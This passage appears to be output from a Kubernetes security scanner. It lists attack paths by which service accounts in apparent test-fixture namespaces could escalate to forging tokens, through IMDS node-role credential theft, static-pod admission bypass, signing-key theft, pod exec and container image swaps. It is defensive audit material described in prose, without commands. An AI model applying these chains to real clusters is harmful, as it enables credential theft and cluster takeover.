    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/flat-network/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `flat-network` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/flat-network/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/foothold-exec/foothold-reader → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `foothold-reader` in namespace `foothold-exec` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/foothold-fixtures/foothold-quiet → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `foothold-quiet` in namespace `foothold-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/gw-workloads/gw-web-sa → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `gw-web-sa` in namespace `gw-workloads` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/hookbackend-fixtures/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `hookbackend-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-reader → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `imgswap-reader` in namespace `imgswap-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/ingress-only/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `ingress-only` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/ingress-only/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/lp-fixtures/sa-lp-narrow → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-lp-narrow` in namespace `lp-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/lp-fixtures/sa-lp-orphan → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-lp-orphan` in namespace `lp-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/lp-fixtures/sa-lp-wildcard → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-lp-wildcard` in namespace `lp-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/netpol-imds/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `netpol-imds` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/netpol-imds/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/privesc-fixtures/sa-node-migrate → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-node-migrate` in namespace `privesc-fixtures` reaches minted service-account tokens in 2 hops via Migrate pods onto an attacker node → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-pv-hostpath` in namespace `pv-hostpath-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/rbac-fixtures/sa-impersonate → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/secrets-bundle/cross-ns-reader → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `cross-ns-reader` in namespace `secrets-bundle` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/statusspoof-fixtures/default → minted service-account tokens score 5.7 2 hops View finding →

ServiceAccount `default` in namespace `statusspoof-fixtures` reaches minted service-account tokens in 2 hops via Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/foothold-ops/foothold-named-execer → minted service-account tokens score 5.3 3 hops View finding →

ServiceAccount `foothold-named-execer` in namespace `foothold-ops` reaches minted service-account tokens in 3 hops via Pod exec → container takeover → Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-patcher → minted service-account tokens score 5.3 3 hops View finding →

ServiceAccount `imgswap-patcher` in namespace `imgswap-fixtures` reaches minted service-account tokens in 3 hops via Pod image swap: code injection into a running pod → Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 3 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 3 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
MEDIUM User/gw-deployer → minted service-account tokens score 5.3 3 hops View finding →

User `gw-deployer` reaches minted service-account tokens in 3 hops via Workload creation → ServiceAccount token theft → Steal node IAM role via IMDS → Static pod and SA signing-key abuse.

  1. Step 1 of 3 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

